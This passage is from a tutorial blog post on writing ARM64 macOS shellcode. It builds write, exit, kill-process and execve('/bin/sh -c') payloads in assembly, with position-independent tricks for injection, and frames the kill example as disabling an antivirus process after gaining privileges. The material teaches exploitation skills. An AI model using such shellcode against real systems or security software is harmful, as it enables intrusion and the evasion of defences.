; x0 = 1st argument
; x1 = 2nd argument
; x2 = 3rd argument
svc #0x80                   ; Execute syscall
</code></pre>

<h1 id="shellcoding">Shellcoding</h1>

<p>Before writing our shellcode, To make it easy for ourselves instead of getting lost in all the assembly instructions, The best workflow to do is to write your code in <code class="language-plaintext highlighter-rouge">C</code>, then we convert it to assembly which will make it very easy for us, As there are references and resources for <code class="language-plaintext highlighter-rouge">C</code> it will make our process easier. For example, You would find people talking about how to make a client/server in <code class="language-plaintext highlighter-rouge">C</code> using <code class="language-plaintext highlighter-rouge">socket</code>. But, you won’t find someone(“insane”) talking about how to make a client/server in <code class="language-plaintext highlighter-rouge">ARM64</code> assembly. So The process would be as the following:</p>

<ul>
  <li>Find <code class="language-plaintext highlighter-rouge">C</code> functions that we will need in our code.</li>
  <li>Write our code in <code class="language-plaintext highlighter-rouge">C</code>.</li>
  <li>Turn our code into assembly.
    <ul>
      <li>Which including getting our syscall numbers ready.</li>
      <li>Function arguments and types.</li>
    </ul>
  </li>
</ul>

<p>Let’s go ahead and start with something simple to make things clear.</p>

<h2 id="print-hello">Print ‘Hello’</h2>

<p>We will start by printing <code class="language-plaintext highlighter-rouge">Hello</code> into the screen. So let’s apply our workflow. Usually when we want to print something in <code class="language-plaintext highlighter-rouge">C</code>, we use <code class="language-plaintext highlighter-rouge">printf()</code> function as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;

int main() {
    printf("Hello");
    return 0;
}
</code></pre>

<p>Now, As we identified the functions we need which is <code class="language-plaintext highlighter-rouge">printf()</code>, And we wrote our code the 3rd step is to turn it into assembly. So the first thing we would need is to get the syscall number for <code class="language-plaintext highlighter-rouge">printf()</code>, We can find all the <code class="language-plaintext highlighter-rouge">syscalls</code> in <code class="language-plaintext highlighter-rouge">bsd/kern/syscalls.master</code>. From our <code class="language-plaintext highlighter-rouge">x86_64</code> blogpost investigation we already know that <code class="language-plaintext highlighter-rouge">printf()</code> is not in there, and after chasing the implementation we end up at the same conclusion: <code class="language-plaintext highlighter-rouge">printf()</code> goes through <code class="language-plaintext highlighter-rouge">vfprintf</code> and friends until we reach the <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h3 id="call-chain-printf--write-syscall">Call Chain: <code class="language-plaintext highlighter-rouge">printf</code> → <code class="language-plaintext highlighter-rouge">write</code> Syscall</h3>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>Function Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">printf</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">vfprintf</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">__vfprintf_internal</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">Xprintf_buffer_write</code></td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_new_file_overflow</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_do_write</code></td>
    </tr>
    <tr>
      <td>7</td>
      <td><code class="language-plaintext highlighter-rouge">new_do_write</code></td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-plaintext highlighter-rouge">_IO_SYSWRITE</code></td>
    </tr>
    <tr>
      <td>9</td>
      <td><code class="language-plaintext highlighter-rouge">__swrite</code> <em>(macOS only)</em></td>
    </tr>
    <tr>
      <td>10</td>
      <td><code class="language-plaintext highlighter-rouge">write</code> <em>(syscall)</em></td>
    </tr>
  </tbody>
</table>

<p>You can find the source code files here (same links as last time):</p>

<ul>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf.c.html">printf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf.c.html">vfprintf.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/vfprintf-internal.c.html">vfprintf-internal.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/stdio-common/printf_buffer.h.html">printf_buffer.h</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/fileops.c.html">fileops.c</a></li>
  <li><a href="https://codebrowser.dev/glibc/glibc/libio/libioP.h">libioP.h</a></li>
</ul>

<p>Also you could just have asked <code class="language-plaintext highlighter-rouge">ChatGPT</code> or something xD, But keep in mind with complicated shellcodes you would want to go through codes and else cause you always will learn something and upgrade yourself.</p>

<p>Now, When we search for <code class="language-plaintext highlighter-rouge">write</code> syscall we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file:</p>

<p><img src="https://github.com/user-attachments/assets/9aab6429-2fa8-454d-a3e4-aa023b96b10d" alt="image" /></p>

<p>And as before, the <code class="language-plaintext highlighter-rouge">write</code> syscall number is <code class="language-plaintext highlighter-rouge">4</code>, it takes 3 arguments. We need to learn about these arguments and how to use them, Which simply can be done by searching it or going to the documentation:</p>

<p><img src="https://github.com/user-attachments/assets/f8bd5305-0d23-4b50-a837-df58881c10b1" alt="image" /></p>

<p>So from the description we can know that we need to supply the string pointer to <code class="language-plaintext highlighter-rouge">buf</code> the second argument and number of bytes (<code class="language-plaintext highlighter-rouge">length</code>) to the third argument <code class="language-plaintext highlighter-rouge">nbyte</code>, And for the <code class="language-plaintext highlighter-rouge">fd</code> (File Descriptor), When we search it we will see that it takes the following values:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">0 (STDIN_FILENO)</code>: Represents standard input, typically connected to the keyboard or the input of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">1 (STDOUT_FILENO)</code>: Represents standard output, typically connected to the display or the output of a pipe.</li>
  <li><code class="language-plaintext highlighter-rouge">2 (STDERR_FILENO)</code>: Represents standard error, typically connected to the display for error messages.</li>
</ul>

<p>Our goal here is <code class="language-plaintext highlighter-rouge">STDOUT</code> which is value <code class="language-plaintext highlighter-rouge">1</code>. So our syscall will be as the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int main() {
    const char *message = "Hello";
    write(1, message, 5);
}
</code></pre></div></div>

<p>Now let’s write our shellcode. First, a small but important difference from <code class="language-plaintext highlighter-rouge">x86_64</code> we need to deal with: on <code class="language-plaintext highlighter-rouge">x86_64</code> we could do <code class="language-plaintext highlighter-rouge">mov rcx, 'Hello'</code> and <code class="language-plaintext highlighter-rouge">push rcx</code> to plant a string on the stack in 2 instructions — But <code class="language-plaintext highlighter-rouge">ARM64</code> instructions are fixed-size (4 bytes each), and <code class="language-plaintext highlighter-rouge">mov</code> can only encode up to 16 bits directly. So we build our 64-bit value piece by piece using <code class="language-plaintext highlighter-rouge">movz</code>/<code class="language-plaintext highlighter-rouge">movk</code> (<code class="language-plaintext highlighter-rouge">Move Zero</code> / <code class="language-plaintext highlighter-rouge">Move Keep</code>, each handling one 16-bit chunk). Then we store it to the stack. So our shellcode:</p>

<pre><code class="language-asm">.global _main
.align 2

_main:
	sub sp, sp, #16         ; make room on the stack for our string (16 keeps SP 16-byte aligned)
	movz x9, #0x6548        ; build our string: 'H','e' chunk -&gt; x9 = 0x0000000000006548
	movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk -&gt; x9 = 0x000000006c6c6548
	movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros -&gt; x9 = 0x0000006f6c6c6548 ('Hello\0\0\0')
	stur x9, [sp]           ; store the string bytes onto the stack
	mov x1, sp              ; buf argument -&gt; X1: pointer to our string
	mov x2, #5              ; nbytes argument -&gt; X2: our string length
	mov x0, #1              ; fd argument -&gt; X0: stdout
	movz x16, #4            ; write syscall number (4)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -&gt; X16 = 0x2000004
	svc #0x80               ; invoke/execute the syscall
</code></pre>

<p>Here our shellcode, starting with <code class="language-plaintext highlighter-rouge">.global _main</code> to export the <code class="language-plaintext highlighter-rouge">Mach-O</code> entry point and <code class="language-plaintext highlighter-rouge">.align 2</code> to keep instructions 4-byte aligned — the <code class="language-plaintext highlighter-rouge">ARM64</code> replacement of <code class="language-plaintext highlighter-rouge">bits 64</code> + <code class="language-plaintext highlighter-rouge">global _main</code> from <code class="language-plaintext highlighter-rouge">nasm</code>. The <code class="language-plaintext highlighter-rouge">sub sp, sp, #16</code> makes room on the stack for our string while keeping <code class="language-plaintext highlighter-rouge">SP</code> 16-byte aligned (our new non-negotiable rule). Next, We build the string <code class="language-plaintext highlighter-rouge">'Hello'</code> chunk by chunk into <code class="language-plaintext highlighter-rouge">X9</code>: <code class="language-plaintext highlighter-rouge">movz x9, #0x6548</code> loads the first 16 bits (<code class="language-plaintext highlighter-rouge">'H'</code>,<code class="language-plaintext highlighter-rouge">'e'</code> little-endian), <code class="language-plaintext highlighter-rouge">movk x9, #0x6c6c, lsl #16</code> keeps loading <code class="language-plaintext highlighter-rouge">'l'</code>,<code class="language-plaintext highlighter-rouge">'l'</code> into the next chunk, And <code class="language-plaintext highlighter-rouge">movk x9, #0x006f, lsl #32</code> loads <code class="language-plaintext highlighter-rouge">'o'</code> plus a zero chunk which doubles as our <code class="language-plaintext highlighter-rouge">NULL</code> terminator — Padding the remaining bytes with zeros <code class="language-plaintext highlighter-rouge">0x00</code> exactly like our <code class="language-plaintext highlighter-rouge">push rcx</code> did on <code class="language-plaintext highlighter-rouge">x86_64</code>. The <code class="language-plaintext highlighter-rouge">stur x9, [sp]</code> (<code class="language-plaintext highlighter-rouge">Store Register unscaled</code>) then writes all 8 bytes to the stack, And <code class="language-plaintext highlighter-rouge">mov x1, sp</code> supplies the pointer to our string for the <code class="language-plaintext highlighter-rouge">buf</code> argument. The <code class="language-plaintext highlighter-rouge">mov x2, #5</code> sets the number of bytes to write matching the length of <code class="language-plaintext highlighter-rouge">Hello</code>, And <code class="language-plaintext highlighter-rouge">mov x0, #1</code> selects <code class="language-plaintext highlighter-rouge">stdout</code> for the <code class="language-plaintext highlighter-rouge">fd</code> argument. Finally the <code class="language-plaintext highlighter-rouge">movz x16, #4</code> + <code class="language-plaintext highlighter-rouge">movk x16, #0x200, lsl #16</code> pair loads our <code class="language-plaintext highlighter-rouge">XNU</code> encoded syscall number — On <code class="language-plaintext highlighter-rouge">x86_64</code> we could <code class="language-plaintext highlighter-rouge">mov rax, 0x2000004</code> in one shot, But since <code class="language-plaintext highlighter-rouge">ARM64</code> chunks are 16 bits each we split it: the low 16 bits hold <code class="language-plaintext highlighter-rouge">4</code> (<code class="language-plaintext highlighter-rouge">write</code>) and <code class="language-plaintext highlighter-rouge">0x200</code> placed at bits <code class="language-plaintext highlighter-rouge">16-31</code> via <code class="language-plaintext highlighter-rouge">lsl #16</code> combines into exactly <code class="language-plaintext highlighter-rouge">0x2000004</code> = <code class="language-plaintext highlighter-rouge">(SYSCALL_CLASS_UNIX &lt;&lt; 24) | 4</code>. The <code class="language-plaintext highlighter-rouge">svc #0x80</code> instruction triggers the kernel trap, dispatching through <code class="language-plaintext highlighter-rouge">XNU</code>’s handler to execute <code class="language-plaintext highlighter-rouge">write(1, "Hello", 5)</code>.</p>

<blockquote>
  <p>Note: Be careful with your <code class="language-plaintext highlighter-rouge">movk</code> chunks — each 16-bit value is a little-endian <em>pair</em> of characters. <code class="language-plaintext highlighter-rouge">'l','l'</code> is <code class="language-plaintext highlighter-rouge">0x6c6c</code>, NOT <code class="language-plaintext highlighter-rouge">0x6c6f</code>. During testing, One wrong chunk had our shellcode happily printing <code class="language-plaintext highlighter-rouge">Heloo</code> instead of <code class="language-plaintext highlighter-rouge">Hello</code>, And it still “worked” — 5 bytes came out, Just the wrong ones. The kernel doesn’t read your strings, It just counts bytes. Always verify your output!</p>
</blockquote>

<p>Let’s save our code into file <code class="language-plaintext highlighter-rouge">hello.s</code> and compile our code.</p>

<ul>
  <li>First, Assemble to object file using <code class="language-plaintext highlighter-rouge">clang</code> with <code class="language-plaintext highlighter-rouge">arm64</code> arch (the replacement of <code class="language-plaintext highlighter-rouge">nasm -f macho64</code>):</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -c hello.s
shellcoding % ls
hello.s		hello.o
</code></pre></div></div>

<p>We got our object file <code class="language-plaintext highlighter-rouge">hello.o</code>.</p>

<ul>
  <li>Second, We will link the required libraries needed for the code to generate the executable using <code class="language-plaintext highlighter-rouge">ld</code> (same flags as our <code class="language-plaintext highlighter-rouge">x86_64</code> post, Just with the <code class="language-plaintext highlighter-rouge">MacOSX15.2</code> SDK):</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls
hello		hello.s		hello.o
</code></pre></div></div>

<p>Here we can see after linking we got our executable.</p>

<blockquote>
  <p>Note: Remember the <code class="language-plaintext highlighter-rouge">ld: warning: no platform load command found in 'hello.o'</code> warning from the <code class="language-plaintext highlighter-rouge">x86_64</code> post? With <code class="language-plaintext highlighter-rouge">clang</code> doing the assembling you typically won’t see it here, Cause <code class="language-plaintext highlighter-rouge">clang</code> embeds the platform load command in the object for us. One less thing to worry about.</p>
</blockquote>

<ul>
  <li>Let’s run and test our executable:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ./hello 
Hellozsh: illegal hardware instruction  ./hello
shellcoding % 
</code></pre></div></div>

<p>A new friend this time — on <code class="language-plaintext highlighter-rouge">x86_64</code> our exit-less shellcode died with a <code class="language-plaintext highlighter-rouge">segmentation fault</code>, But on <code class="language-plaintext highlighter-rouge">ARM64</code> we get <code class="language-plaintext highlighter-rouge">illegal hardware instruction</code> (<code class="language-plaintext highlighter-rouge">SIGILL</code>, exit code <code class="language-plaintext highlighter-rouge">132</code>). And the reason is the same as before, Just wearing different clothes: the program doesn’t <code class="language-plaintext highlighter-rouge">return</code> (exit) after our <code class="language-plaintext highlighter-rouge">write</code> syscall, So the CPU keeps executing whatever comes after our code — And on <code class="language-plaintext highlighter-rouge">ARM64</code> the zero padding bytes after our shellcode decode as <code class="language-plaintext highlighter-rouge">udf #0</code> (<code class="language-plaintext highlighter-rouge">Permanently Undefined</code> instruction), An instruction that is <em>guaranteed</em> to trap, So the kernel kills the process with <code class="language-plaintext highlighter-rouge">SIGILL</code> instead of walking into invalid memory like <code class="language-plaintext highlighter-rouge">x86_64</code> did. Either way: Like we learned before, <code class="language-plaintext highlighter-rouge">return 0;</code> in a <code class="language-plaintext highlighter-rouge">C</code> main becomes the <code class="language-plaintext highlighter-rouge">exit</code> syscall, Which terminates the entire process and returns the specified exit status to the OS. So, We need to exit after executing our <code class="language-plaintext highlighter-rouge">write</code> syscall.</p>

<h2 id="exit">Exit</h2>

<p>We can exit using <code class="language-plaintext highlighter-rouge">exit</code> syscall, As we can see it in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> file — the same line we saw last time, Since it’s the same <code class="language-plaintext highlighter-rouge">BSD</code> side of the fence:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1	AUE_EXIT	ALL	{ void exit(int rval) NO_SYSCALL_STUB; }
</code></pre></div></div>

<p>The syscall number is <code class="language-plaintext highlighter-rouge">1</code> and it takes only 1 integer argument <code class="language-plaintext highlighter-rouge">rval</code> which is the value to return — <code class="language-plaintext highlighter-rouge">0</code> for <code class="language-plaintext highlighter-rouge">EXIT_SUCCESS</code> or something else for <code class="language-plaintext highlighter-rouge">EXIT_FAILURE</code>. Let’s update our shellcode and add <code class="language-plaintext highlighter-rouge">exit</code> syscall:</p>

<pre><code class="language-asm">.global _main
.align 2

_main:
	sub sp, sp, #16         ; make room on the stack for our string
	movz x9, #0x6548        ; build our string: 'H','e' chunk
	movk x9, #0x6c6c, lsl #16 ; 'l','l' chunk
	movk x9, #0x006f, lsl #32 ; 'o' chunk + terminator zeros
	stur x9, [sp]           ; store our string on the stack
	mov x1, sp              ; buf argument -&gt; pointer to our string
	mov x2, #5              ; nbytes argument (string length)
	mov x0, #1              ; fd argument (stdout)
	movz x16, #4            ; write syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -&gt; X16 = 0x2000004
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2 -&gt; X16 = 0x2000001
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall
</code></pre>

<p>Notice even the <code class="language-plaintext highlighter-rouge">exit</code> number <code class="language-plaintext highlighter-rouge">1</code> needs its class chunk: <code class="language-plaintext highlighter-rouge">X16</code> must carry <code class="language-plaintext highlighter-rouge">0x2000001</code>, Not just <code class="language-plaintext highlighter-rouge">1</code> — Remember, never shout just “1” in the <code class="language-plaintext highlighter-rouge">XNU</code> restaurant, the kitchen needs the full encoded ticket with the floor number.</p>

<p>Now, let’s repeat the process of compiling to get our executable again and test it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -c hello.s
shellcoding % ld -o hello hello.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./hello 
Hello%                                                           
shellcoding % 
</code></pre></div></div>

<p>As we see clearly our code worked perfectly this time.</p>

<h2 id="kill-a-process">Kill a Process</h2>

<p>Let’s do another shellcode, And take the same scenario as last time: we found a way to execute code with high privileges and We need to write a shellcode to kill the <code class="language-plaintext highlighter-rouge">AV</code> process. The <code class="language-plaintext highlighter-rouge">C</code> code to kill a process is as the following:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/types.h&gt; // For pid_t
#include &lt;unistd.h&gt;    // For getpid() (optional, for self-killing example)

int main() {
    pid_t target_pid;

    target_pid = 12345; 

    // Sending SIGTERM (graceful termination)
    kill(target_pid, SIGTERM);

    return 0;
}
</code></pre>

<p>We can see here we used <code class="language-plaintext highlighter-rouge">kill</code> function and supply the <code class="language-plaintext highlighter-rouge">PID</code> and the signal which is <code class="language-plaintext highlighter-rouge">SIGTERM</code>.</p>

<p>Now, If we search for <code class="language-plaintext highlighter-rouge">kill</code> in <code class="language-plaintext highlighter-rouge">syscalls.master</code>. We can find it:</p>

<pre><code class="language-C">37	AUE_KILL	ALL	{ int kill(int pid, int signum, int posix) NO_SYSCALL_STUB; }
</code></pre>

<p>Same as last time, the syscall number is <code class="language-plaintext highlighter-rouge">37</code> (<code class="language-plaintext highlighter-rouge">0x25</code>), And from the <code class="language-plaintext highlighter-rouge">XNU</code> source at <code class="language-plaintext highlighter-rouge">bsd/sys/signal.h:103</code> we know:</p>

<pre><code class="language-C">#define SIGKILL 9       /* kill (cannot be caught or ignored) */
#define SIGBUS  10      /* bus error */
#define SIGSEGV 11      /* segmentation violation */
#define SIGSYS  12      /* bad argument to system call */
#define SIGPIPE 13      /* write on a pipe with no one to read it */
#define SIGALRM 14      /* alarm clock */
#define SIGTERM 15      /* software termination signal from kill */
#define SIGURG  16      /* urgent condition on IO channel */
#define SIGSTOP 17      /* sendable stop signal not from tty */
</code></pre>

<p>So <code class="language-plaintext highlighter-rouge">SIGTERM</code> is <code class="language-plaintext highlighter-rouge">15</code> and <code class="language-plaintext highlighter-rouge">SIGKILL</code> is <code class="language-plaintext highlighter-rouge">9</code> — and again we prefer <code class="language-plaintext highlighter-rouge">SIGKILL</code> as it will be forced and kill (cannot be caught or ignored). Also, as we learned from <code class="language-plaintext highlighter-rouge">bsd/kern/kern_sig.c:1373</code> last time, the third argument <code class="language-plaintext highlighter-rouge">int posix</code>:</p>

<table>
  <thead>
    <tr>
      <th>Value</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 0</code></td>
      <td>Mach (legacy) signal behavior</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">posix = 1</code> (or any <code class="language-plaintext highlighter-rouge">!0</code>)</td>
      <td>POSIX/BSD signal behavior</td>
    </tr>
  </tbody>
</table>

<p>We will go with <code class="language-plaintext highlighter-rouge">1</code> to get the same behaviour as the <code class="language-plaintext highlighter-rouge">kill()</code> we call in <code class="language-plaintext highlighter-rouge">C</code>.</p>

<blockquote>
  <p>Note: usually when you see extra arguments that was not mentioned or supplyed in the <code class="language-plaintext highlighter-rouge">C</code> code, It means that the argument is optional and not really required so you always can supply <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">NULL</code> as a value to the optional/non-required arguments.</p>
</blockquote>

<p>Let’s spawn a test process and get its <code class="language-plaintext highlighter-rouge">PID</code> to supply as the first argument — same infinity loop running in background:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % while true; do sleep 10; done &amp;
[1] 36743
shellcoding % ps -p 36743
  PID TTY           TIME CMD
36743 ttys001    0:00.01 -zsh
</code></pre></div></div>

<p>the <code class="language-plaintext highlighter-rouge">PID</code> is <code class="language-plaintext highlighter-rouge">36743</code>. Converting it to hex: <code class="language-plaintext highlighter-rouge">36743 = 0x8F87</code>. (Your <code class="language-plaintext highlighter-rouge">PID</code> will be different every run — just convert yours the same way.)</p>

<p>Now, Lets write our shellcode:</p>

<pre><code class="language-asm">.global _main
.align 2

_main:
	movz x0, #0x8f87        ; 1st argument -&gt; our PID 36743 (0x8F87 in hex)
	                        ; note: `movz` zero-fills the whole 64-bit destination, so upper bits are NULL
	mov x1, #9              ; 2nd argument -&gt; signum, our SIGKILL value
	mov x2, #1              ; 3rd argument -&gt; posix behavior, `!0` for POSIX/BSD
	movz x16, #0x25         ; the kill syscall number 37 (0x25 in hex)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall
</code></pre>

<p>Here our shellcode, We pass our arguments as the following: <code class="language-plaintext highlighter-rouge">PID</code> for <code class="language-plaintext highlighter-rouge">X0</code>, then <code class="language-plaintext highlighter-rouge">signum</code> for <code class="language-plaintext highlighter-rouge">X1</code> and after that, <code class="language-plaintext highlighter-rouge">posix</code> to <code class="language-plaintext highlighter-rouge">X2</code>, And we setup <code class="language-plaintext highlighter-rouge">X16</code> with the BSD-encoded syscall ticket <code class="language-plaintext highlighter-rouge">0x2000025</code> — same style as the <code class="language-plaintext highlighter-rouge">kill</code> shellcode from <code class="language-plaintext highlighter-rouge">x86_64</code>, Just wearing ARM clothes. Finally, We exit gracefully using <code class="language-plaintext highlighter-rouge">exit</code> syscall.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -c killer.s
shellcoding % ld -o killer killer.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ./killer
shellcoding % 
[1]  + killed     while true; do; sleep 10; done
shellcoding % ps -p 36743
  PID TTY           TIME CMD
</code></pre></div></div>

<p>As we can see clearly, The process has been killed successfully.</p>

<h2 id="execute-command">Execute Command</h2>

<p>Now, The exciting parts where we need to execute commands. Let’s bring our <code class="language-plaintext highlighter-rouge">C</code> code to execute commands on the system, Same as before:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/wait.h&gt;

int main() {
    pid_t pid;
    char *const argv[] = {"/bin/sh", "-c", NULL}; // Command and its arguments
    char *const envp[] = {NULL}; // Environment variables (can be customized)

    execve(argv[0], argv, envp);
   

    return 0;
}
</code></pre>

<p>As we can see here it uses <code class="language-plaintext highlighter-rouge">execve()</code> function. And from our earlier post, We already know the syscall in <code class="language-plaintext highlighter-rouge">syscalls.master</code>:</p>

<pre><code class="language-C">59	AUE_EXECVE	ALL	{ int execve(char *fname, char **argp, char **envp) NO_SYSCALL_STUB; }
</code></pre>

<p>So it takes a pointer to the <code class="language-plaintext highlighter-rouge">fname</code> which is the file name, then pointer to array <code class="language-plaintext highlighter-rouge">argp</code> and pointer to another array <code class="language-plaintext highlighter-rouge">envp</code>.</p>

<p><img src="https://github.com/user-attachments/assets/d03ca643-261d-4918-b1d0-271519f8471e" alt="image" /></p>

<p>We can see that in the description of <code class="language-plaintext highlighter-rouge">execve()</code>, the first argument is the path to the binary we want to execute which is gonna be the shell in this case. Then for the second argument it takes array the arguments of the executable or program we passing and the first element in the array has to be the same file name. So the array will be as the following, if we want to execute <code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code> command <code class="language-plaintext highlighter-rouge">{"/bin/sh","-c","echo \"W00tW00t\" &gt; /tmp/Pwned.txt", NULL}</code> — and pay attention to that last <code class="language-plaintext highlighter-rouge">NULL</code>: the <code class="language-plaintext highlighter-rouge">argv</code> array must be <strong>NULL-terminated</strong>, Something the <code class="language-plaintext highlighter-rouge">C</code> compiler does for us silently in the code above, But we have to do it ourselves in assembly. The third argument <code class="language-plaintext highlighter-rouge">envp</code> as mentioned is optional so we can supply <code class="language-plaintext highlighter-rouge">NULL</code>.</p>

<p>Let’s go on and write our shellcode. Two problems first, Both <code class="language-plaintext highlighter-rouge">ARM64</code>-flavored:</p>

<ul>
  <li>Our <code class="language-plaintext highlighter-rouge">/bin/zsh</code> string is exactly 8 characters long, Which fills all 8 bytes with no room for a <code class="language-plaintext highlighter-rouge">NULL</code> terminator — So we will use <code class="language-plaintext highlighter-rouge">/bin/sh</code> (7 chars + terminator = exactly 8 bytes). Same trick, one character shorter.</li>
  <li>On <code class="language-plaintext highlighter-rouge">x86_64</code> we used the classic <code class="language-plaintext highlighter-rouge">call array / db '...'</code> duo to place the long command string — But <code class="language-plaintext highlighter-rouge">ARM64</code> has something even more elegant: the <code class="language-plaintext highlighter-rouge">adr</code> instruction (<code class="language-plaintext highlighter-rouge">Address of</code>), Which loads a <code class="language-plaintext highlighter-rouge">PC</code>-relative address of any label near our code (within <code class="language-plaintext highlighter-rouge">±1MB</code>). No calling trick needed, The assembler does the address math for us.</li>
</ul>

<pre><code class="language-asm">.global _main
.align 2

_main:
	sub sp, sp, #48         ; make space on the stack: 2 string slots + 4 array slots (48 keeps SP 16-byte aligned)
	movz x9, #0x622f        ; build "/bin/sh\0" chunk by chunk: '/b'
	movk x9, #0x6e69, lsl #16 ; 'i','n' -&gt; "/bin"
	movk x9, #0x732f, lsl #32 ; '/','s' -&gt; "/bin/s"
	movk x9, #0x0068, lsl #48 ; 'h' + terminator -&gt; "/bin/sh\0"
	stur x9, [sp]           ; store the "/bin/sh\0" string at [sp]
	movz x10, #0x632d       ; build "-c\0": '-','c' chunk, upper zeros = terminator
	stur x10, [sp, #8]      ; store the "-c\0" string at [sp, #8]
	adr x11, cmd            ; classic position-independent trick: load the PC-relative address of our command string
	mov x3, sp              ; x3 = ADDRESS of the "/bin/sh\0" string
	add x4, sp, #8          ; x4 = ADDRESS of the "-c\0" string
	str x3, [sp, #16]       ; argv[0] -&gt; pointer to "/bin/sh\0"
	str x4, [sp, #24]       ; argv[1] -&gt; pointer to "-c\0"
	str x11, [sp, #32]      ; argv[2] -&gt; pointer to our command string
	str xzr, [sp, #40]      ; argv[3] -&gt; NULL terminator (the array must end with NULL)
	mov x0, sp              ; fname argument -&gt; pointer to "/bin/sh\0"
	add x1, sp, #16         ; argp argument -&gt; pointer to our argv array
	mov x2, xzr             ; envp argument -&gt; NULL (XZR always reads as zero)
	movz x16, #0x3b         ; the execve syscall number 59 (0x3B in hex)
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	svc #0x80               ; invoke/execute the syscall

	movz x16, #1            ; exit syscall number
	movk x16, #0x200, lsl #16 ; OR with the BSD syscall class 2
	mov x0, #0              ; arg int rval
	svc #0x80               ; invoke/execute the syscall

cmd:
	.string "echo \"W00tW00t\" &gt; /tmp/Pwned.txt"
</code></pre>

<p>Here our shellcode, first we <code class="language-plaintext highlighter-rouge">sub sp, sp, #48</code> — 48 is divisible by 16, So our <code class="language-plaintext highlighter-rouge">SP</code> alignment rule holds even after the decrement. Then we build the <code class="language-plaintext highlighter-rouge">/bin/sh\0</code> string chunk by chunk into <code class="language-plaintext highlighter-rouge">X9</code> using <code class="language-plaintext highlighter-rouge">movz</code>/<code class="language-plaintext highlighter-rouge">movk</code> (each 16-bit chunk is the little-endian pair of characters) and <code class="language-plaintext highlighter-rouge">-c\0</code> into <code class="language-plaintext highlighter-rouge">X10</code>, And we <code class="language-plaintext highlighter-rouge">stur</code> (<code class="language-plaintext highlighter-rouge">Store Register unscaled</code>, which allows any stack offset) them into the first two stack slots. The <code class="language-plaintext highlighter-rouge">adr x11, cmd</code> is the <code class="language-plaintext highlighter-rouge">ARM64</code> equivalent of the classic <code class="language-plaintext highlighter-rouge">x86_64</code> position-independent trick — Since the command string <code class="language-plaintext highlighter-rouge">"echo \"W00tW00t\" &gt; /tmp/Pwned.txt"</code> is too long to build with registers, We <code class="language-plaintext highlighter-rouge">.string</code> it after our shellcode at the <code class="language-plaintext highlighter-rouge">cmd:</code> label and <code class="language-plaintext highlighter-rouge">adr</code> loads its <code class="language-plaintext highlighter-rouge">PC</code>-relative address into <code class="language-plaintext highlighter-rouge">X11</code>, So the command string’s runtime address is available no matter where the shellcode gets injected — Just like the <code class="language-plaintext highlighter-rouge">call array / db '...'</code> duo, But 